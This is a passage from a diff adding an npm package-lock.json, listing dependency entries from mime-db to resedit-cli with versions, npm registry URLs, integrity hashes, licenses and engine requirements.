{ + "node": ">=8.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "license": "ISC", + "optional": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-collect": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", + "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minipass-fetch": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", + "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==", + "license": "MIT", + "optional": true, + "dependencies": { + "minipass": "^3.1.0", + "minipass-sized": "^1.0.3", + "minizlib": "^2.0.0" + }, + "engines": { + "node": ">=8" + }, + "optionalDependencies": { + "encoding": "^0.1.12" + } + }, + "node_modules/minipass-flush": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", + "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minipass-pipeline": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", + "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-sized": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", + "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minizlib": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", + "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "license": "MIT", + "dependencies": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "license": "MIT", + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", + "license": "MIT" + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/multistream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/multistream/-/multistream-4.1.0.tgz", + "integrity": "sha512-J1XDiAmmNpRCBfIWJv+n0ymC4ABcf/Pl+5YvC5B/D2f/2+8PtHvCNxMPKiQcZyi922Hq69J2YOpb1pTywfifyw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "once": "^1.4.0", + "readable-stream": "^3.6.0" + } + }, + "node_modules/multistream/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/napi-build-utils": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz", + "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==", + "license": "MIT" + }, + "node_modules/negotiator": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", + "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/node-abi": { + "version": "3.85.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.85.0.tgz", + "integrity": "sha512-zsFhmbkAzwhTft6nd3VxcG0cvJsT70rL+BIGHWVq5fi6MwGrHwzqKaxXE+Hl2GmnGItnDKPPkO5/LQqjVkIdFg==", + "license": "MIT", + "dependencies": { + "semver": "^7.3.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", + "license": "MIT" + }, + "node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/node-forge": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", + "license": "(BSD-3-Clause OR GPL-2.0)", + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-gyp": { + "version": "8.4.1", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", + "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==", + "license": "MIT", + "optional": true, + "dependencies": { + "env-paths": "^2.2.0", + "glob": "^7.1.4", + "graceful-fs": "^4.2.6", + "make-fetch-happen": "^9.1.0", + "nopt": "^5.0.0", + "npmlog": "^6.0.0", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "tar": "^6.1.2", + "which": "^2.0.2" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 10.12.0" + } + }, + "node_modules/nopt": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", + "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npmlog": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", + "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "are-we-there-yet": "^3.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^4.0.3", + "set-blocking": "^2.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/p-is-promise": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-3.0.0.tgz", + "integrity": "sha512-Wo8VsW4IRQSKVXsJCn7TomUaVtyfjVDn3nUP7kE967BQk0CwFpdbZs0X0uk5sW9mkBa9eNM7hCMaG93WUAwxYQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "license": "BlueOak-1.0.0" + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-scurry/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "license": "ISC" + }, + "node_modules/path-scurry/node_modules/minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "license": "ISC", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/pe-library": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/pe-library/-/pe-library-1.0.1.tgz", + "integrity": "sha512-nh39Mo1eGWmZS7y+mK/dQIqg7S1lp38DpRxkyoHf0ZcUs/HDc+yyTjuOtTvSMZHmfSLuSQaX945u05Y2Q6UWZg==", + "license": "MIT", + "engines": { + "node": ">=14", + "npm": ">=7" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/jet2jet" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkg": { + "version": "5.8.1", + "resolved": "https://registry.npmjs.org/pkg/-/pkg-5.8.1.tgz", + "integrity": "sha512-CjBWtFStCfIiT4Bde9QpJy0KeH19jCfwZRJqHFDFXfhUklCx8JoFmMj3wgnEYIwGmZVNkhsStPHEOnrtrQhEXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/generator": "7.18.2", + "@babel/parser": "7.18.4", + "@babel/types": "7.19.0", + "chalk": "^4.1.2", + "fs-extra": "^9.1.0", + "globby": "^11.1.0", + "into-stream": "^6.0.0", + "is-core-module": "2.9.0", + "minimist": "^1.2.6", + "multistream": "^4.1.0", + "pkg-fetch": "3.4.2", + "prebuild-install": "7.1.1", + "resolve": "^1.22.0", + "stream-meter": "^1.0.4" + }, + "bin": { + "pkg": "lib-es5/bin.js" + }, + "peerDependencies": { + "node-notifier": ">=9.0.1" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/pkg-fetch": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/pkg-fetch/-/pkg-fetch-3.4.2.tgz", + "integrity": "sha512-0+uijmzYcnhC0hStDjm/cl2VYdrmVVBpe7Q8k9YBojxmR5tG8mvR9/nooQq3QSXiQqORDVOTY3XqMEqJVIzkHA==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.1.2", + "fs-extra": "^9.1.0", + "https-proxy-agent": "^5.0.0", + "node-fetch": "^2.6.6", + "progress": "^2.0.3", + "semver": "^7.3.5", + "tar-fs": "^2.1.1", + "yargs": "^16.2.0" + }, + "bin": { + "pkg-fetch": "lib-es5/bin.js" + } + }, + "node_modules/prebuild-install": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.1.tgz", + "integrity": "sha512-jAXscXWMcCK8GgCoHOfIr0ODh5ai8mj63L2nWrjuAgXE6tDyYGnx4/8o/rCgU+B4JSyZBKbeZqzhtwtC3ovxjw==", + "license": "MIT", + "dependencies": { + "detect-libc": "^2.0.0", + "expand-template": "^2.0.3", + "github-from-package": "0.0.0", + "minimist": "^1.2.3", + "mkdirp-classic": "^0.5.3", + "napi-build-utils": "^1.0.1", + "node-abi": "^3.3.0", + "pump": "^3.0.0", + "rc": "^1.2.7", + "simple-get": "^4.0.0", + "tar-fs": "^2.0.0", + "tunnel-agent": "^0.6.0" + }, + "bin": { + "prebuild-install": "bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "license": "MIT" + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", + "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==", + "license": "ISC", + "optional": true + }, + "node_modules/promise-retry": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", + "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "license": "MIT", + "optional": true, + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "license": "MIT" + }, + "node_modules/pump": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz", + "integrity": "sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==", + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readdir-glob": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz", + "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==", + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.1.0" + } + }, + "node_modules/readdir-glob/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/readdir-glob/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resedit": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/resedit/-/resedit-2.0.3.tgz", + "integrity": "sha512-oTeemxwoMuxxTYxXUwjkrOPfngTQehlv0/HoYFNkB4uzsP1Un1A9nI8JQKGOFkxpqkC7qkMs0lUsGrvUlbLNUA==", + "license": "MIT", + "dependencies": { + "pe-library": "^1.0.1" + }, + "engines": { + "node": ">=14", + "npm": ">=7" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/jet2jet" + } + }, + "node_modules/resedit-cli": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/resedit-cli/-/resedit-cli-2.1.0.tgz", + "integrity": "sha512-SkWApXX3n2XBY9W+yuZqF0sFFmkzwGaxXSBKT55EgxQEacNdMZIrBqpOEqtz/9OFQX+d8SK7MhIqqpEm6iokOA==", + "license": "MIT", + "dependencies": { + "cosmiconfig": "^9.0.0", + "loglevel": "^1.8.1", + "node-forge": "^1.3.1", + "pe-library": "^1.0.1", + "resedit": "^2.0.3", + "yargs": "^17.7.1" + }, + "bin": { + "resedit": "dist/cli.js" + }, + "engines": { + "node": ">=14", + "npm": ">=9" + } + }, + "node_modules/resedit-cli/node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/resedit-cli/node_modules/yargs": { + "version": 